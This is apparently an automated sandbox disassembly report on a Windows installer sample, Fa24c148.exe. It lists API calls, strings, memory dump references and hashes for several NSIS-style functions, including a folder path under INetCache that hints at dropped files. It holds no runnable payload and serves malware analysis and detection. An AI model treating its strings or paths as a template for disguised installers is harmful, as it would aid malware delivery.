Instruction Fuzzy Hash: E6D0C9B7B141409BDB54EBB8AE8989B73A8E7513297204C73D942F20A1D578D8028A3D

Non-executed Functions

Function 0040499D Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 004049B5
GetDlgItem.USER32(?,00000408), ref: 004049C0
GlobalAlloc.KERNEL32(00000040,?), ref: 00404A0A
LoadBitmapW.USER32(0000006E), ref: 00404A1D
SetWindowLongW.USER32(?,000000FC,00404F95), ref: 00404A36
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404A4A
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404A5C
SendMessageW.USER32(?,00001109,00000002), ref: 00404A72
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404A7E
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404A90
DeleteObject.GDI32(00000000), ref: 00404A93
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404ABE
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404ACA
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404B60
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404B8B
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404B9F
GetWindowLongW.USER32(?,000000F0), ref: 00404BCE
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404BDC
ShowWindow.USER32(?,00000005), ref: 00404BED
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404CEA
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404D4F
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00404D64
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00404D88
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404DA8
ImageList_Destroy.COMCTL32(?), ref: 00404DBD
GlobalFree.KERNEL32(?), ref: 00404DCD
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00404E46
SendMessageW.USER32(?,00001102,?,?), ref: 00404EEF
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00404EFE
InvalidateRect.USER32(?,00000000,00000001), ref: 00404F1E
ShowWindow.USER32(?,00000000), ref: 00404F6C
GetDlgItem.USER32(?,000003FE), ref: 00404F77
ShowWindow.USER32(00000000), ref: 00404F7E

Strings

, xrefs: 00404F56
M, xrefs: 00404B47
N, xrefs: 00404C28

Memory Dump Source

Source File: 00000000.00000002.2028141956.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2028124677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028161718.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fa24c148.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: 0ffa46e9b13a572b6722491aa1927339d9f69ee42a2e2a1cbbe2628bd448c1d8
Instruction ID: f03e607a396e187e7a88a72d0c11c4872557c7a4ae09ea9be525cead3dabdd13
Opcode Fuzzy Hash: 0ffa46e9b13a572b6722491aa1927339d9f69ee42a2e2a1cbbe2628bd448c1d8
Instruction Fuzzy Hash: A90294B0900209EFEB209F55DD45AAE7BB5FB84314F10817AF610B62E0C7799D52CF58

Function 00404457 Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 269stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 004044A6
SetWindowTextW.USER32(00000000,?), ref: 004044D0
SHBrowseForFolderW.SHELL32(?), ref: 00404581
CoTaskMemFree.OLE32(00000000), ref: 0040458C
lstrcmpiW.KERNEL32(Call,00422698,00000000,?,?), ref: 004045BE
lstrcatW.KERNEL32(?,Call), ref: 004045CA
SetDlgItemTextW.USER32(?,000003FB,?), ref: 004045DC

Part of subcall function 00405537: GetDlgItemTextW.USER32(?,?,00000400,00404613), ref: 0040554A

Part of subcall function 0040600B: CharNextW.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\Fa24c148.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004031D7,C:\Users\user\AppData\Local\Temp\,74DF3420,004033B7), ref: 0040606E
Part of subcall function 0040600B: CharNextW.USER32(?,?,?,00000000), ref: 0040607D
Part of subcall function 0040600B: CharNextW.USER32(?,"C:\Users\user\Desktop\Fa24c148.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004031D7,C:\Users\user\AppData\Local\Temp\,74DF3420,004033B7), ref: 00406082
Part of subcall function 0040600B: CharPrevW.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004031D7,C:\Users\user\AppData\Local\Temp\,74DF3420,004033B7), ref: 00406095

GetDiskFreeSpaceW.KERNEL32(00420668,?,?,0000040F,?,00420668,00420668,?,00000000,00420668,?,?,000003FB,?), ref: 0040469D
MulDiv.KERNEL32(?,0000040F,00000400), ref: 004046B8
SetDlgItemTextW.USER32(00000000,00000400,00420658), ref: 0040473E

Strings

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\gunrack\Iglus237\unsealer, xrefs: 004045A7
A, xrefs: 0040457A
Call, xrefs: 004045B8, 004045BD, 004045C8

Memory Dump Source

Source File: 00000000.00000002.2028141956.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2028124677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028161718.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fa24c148.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpi
String ID: A$C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\gunrack\Iglus237\unsealer$Call
API String ID: 2246997448-2961147510
Opcode ID: f355fcafbdc44a253fd506062086f2951197c42d039416400d982413e2fc1c25
Instruction ID: 0c6fa40730a198f5f3b00d197b033e886b1b3680f215deb67d5ef6a97ab5c625
Opcode Fuzzy Hash: f355fcafbdc44a253fd506062086f2951197c42d039416400d982413e2fc1c25
Instruction Fuzzy Hash: A79163B1900205BBDB11AFA1DC85AAF77B8EF85314F10847BF601B72D1D77C9A418B69

Function 0040206A Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 123comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00407474,?,00000001,00407464,?,00000000,00000045,000000CD,00000002,000000DF,000000F0), ref: 004020BD

Strings

C:\Program Files (x86)\shaw, xrefs: 004020FB

Memory Dump Source

Source File: 00000000.00000002.2028141956.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2028124677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028161718.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fa24c148.jbxd

Similarity

API ID: CreateInstance
String ID: C:\Program Files (x86)\shaw
API String ID: 542301482-209812835
Opcode ID: 9427c6a701c92922babb39cdb8b7d9d670389baac5a1f16205eb8045a6f859ea
Instruction ID: 320da03c4b58a6f492d73c9084ae0adc7b8dbf3defd95da7e5f41f6b65968188
Opcode Fuzzy Hash: 9427c6a701c92922babb39cdb8b7d9d670389baac5a1f16205eb8045a6f859ea
Instruction Fuzzy Hash: 74414E75A00105BFCB00DFA8C988EAE7BB5AF49318B20416AF905EF2D1DA79ED41CB55

Function 00402770 Relevance: 1.5, APIs: 1, Instructions: 30fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 0040277F

Memory Dump Source

Source File: 00000000.00000002.2028141956.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2028124677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028161718.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fa24c148.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: f42fc509a8610e2fd9ee7677f8d81a2a35df7b0b7b325dc4dc1c38febfc0d813
Instruction ID: 81a3354c9c50dc932bc25f9396bfa9246b1e72d43aeb2e6b96ab1eceb958d047
Opcode Fuzzy Hash: f42fc509a8610e2fd9ee7677f8d81a2a35df7b0b7b325dc4dc1c38febfc0d813
Instruction Fuzzy Hash: 4CF05EB1A141149BDB00DFE4DD499EEB378FF04328F20497AE101F31D0D6B459409B2A

Function 00404159 Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 207windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 004041F7
GetDlgItem.USER32(?,000003E8), ref: 0040420B
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 00404228
GetSysColor.USER32(?), ref: 00404239
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 00404247
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 00404255
lstrlenW.KERNEL32(?), ref: 0040425A
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 00404267
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 0040427C
GetDlgItem.USER32(?,0000040A), ref: 004042D5
SendMessageW.USER32(00000000), ref: 004042DC
GetDlgItem.USER32(?,000003E8), ref: 00404307
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 0040434A
LoadCursorW.USER32(00000000,00007F02), ref: 00404358
SetCursor.USER32(00000000), ref: 0040435B
ShellExecuteW.SHELL32(0000070B,open,@qB,00000000,00000000,00000001), ref: 00404370
LoadCursorW.USER32(00000000,00007F00), ref: 0040437C
SetCursor.USER32(00000000), ref: 0040437F
SendMessageW.USER32(00000111,00000001,00000000), ref: 004043AE
SendMessageW.USER32(00000010,00000000,00000000), ref: 004043C0

Strings

N, xrefs: 004042F5
@qB, xrefs: 00404365
open, xrefs: 00404368

Memory Dump Source

Source File: 00000000.00000002.2028141956.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2028124677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028161718.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fa24c148.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: @qB$N$open
API String ID: 3615053054-1317396031
Opcode ID: 9f8ac8ff2f5d328cc3453d20dad54c1a32f190e354825bf3c7395e5a162293c3
Instruction ID: bf3a58da35b54ffee1731227a2abeb8335aa36a287bc534981c9d3d9286f6950
Opcode Fuzzy Hash: 9f8ac8ff2f5d328cc3453d20dad54c1a32f190e354825bf3c7395e5a162293c3
Instruction Fuzzy Hash: F4718FB1A00209BFDB109F61DD85E6A7B79FB44354F00803AFA01B62D0D778AD61CFA9

Function 00405A95 Relevance: 29.9, APIs: 12, Strings: 5, Instructions: 136stringmemoryfileCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(00425D38,NUL,?,00000000,?,?,?,00405C39,?,?,00000001,004057B1,?,00000000,000000F1,?), ref: 00405AA5
CloseHandle.KERNEL32(00000000,00000000,00000000,00000001,?,?,?,00405C39,?,?,00000001,004057B1,?,00000000,000000F1,?), ref: 00405AC9
GetShortPathNameW.KERNEL32(00000000,00425D38,00000400), ref: 00405AD2

Part of subcall function 00405948: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405B82,00000000,[Rename],00000000,00000000,00000000), ref: 00405958
Part of subcall function 00405948: lstrlenA.KERNEL32(00405B82,?,00000000,00405B82,00000000,[Rename],00000000,00000000,00000000), ref: 0040598A

GetShortPathNameW.KERNEL32(?,00426538,00000400), ref: 00405AEF
wsprintfA.USER32 ref: 00405B0D
GetFileSize.KERNEL32(00000000,00000000,00426538,C0000000,00000004,00426538,?,?,?,?,?), ref: 00405B48
GlobalAlloc.KERNEL32(00000040,0000000A), ref: 00405B57
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000), ref: 00405B8F
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,00000000,00425938,00000000,-0000000A,00409514,00000000,[Rename],00000000,00000000,00000000), ref: 00405BE5
WriteFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 00405BF7
GlobalFree.KERNEL32(00000000), ref: 00405BFE
CloseHandle.KERNEL32(00000000), ref: 00405C05

Part of subcall function 004059E3: GetFileAttributesW.KERNELBASE(00000003,00402DA9,C:\Users\user\Desktop\Fa24c148.exe,80000000,00000003,?,?,?,00000000,00403425,?), ref: 004059E7
Part of subcall function 004059E3: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403425,?), ref: 00405A09

Strings

NUL, xrefs: 00405A9F
%ls=%ls, xrefs: 00405B03
[Rename], xrefs: 00405B77, 00405B89
8]B, xrefs: 00405A9A
8eB, xrefs: 00405AE4

Memory Dump Source

Source File: 00000000.00000002.2028141956.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2028124677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028161718.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fa24c148.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrcpylstrlen$AllocAttributesCreateFreePointerSizeWritewsprintf
String ID: %ls=%ls$8]B$8eB$NUL$[Rename]
API String ID: 1265525490-2949686642
Opcode ID: af31582807115e4b1434e021074788440192fe112e8d2dfb1a91ec7abac6484c
Instruction ID: 0a051ccaee0c074b1a09a4e80aa922ec39551e5d9eafb60cec8afc598b306fa0
Opcode Fuzzy Hash: af31582807115e4b1434e021074788440192fe112e8d2dfb1a91ec7abac6484c
Instruction Fuzzy Hash: BC412671605B14BBE2206B215C49F6B7A6CDF45728F14003AF901F62D2D67CBD018EBD

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,004281A0,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.2028141956.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2028124677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028161718.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fa24c148.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 95dead6a558a01d4a5ec967a392ba08a15c3c6741a46ee5c6d7a895f4c731ce1
Instruction ID: 4121dad2538bec1171c888a02065f78bbc92972143ed5d2ae8151d97d00695b6
Opcode Fuzzy Hash: 95dead6a558a01d4a5ec967a392ba08a15c3c6741a46ee5c6d7a895f4c731ce1
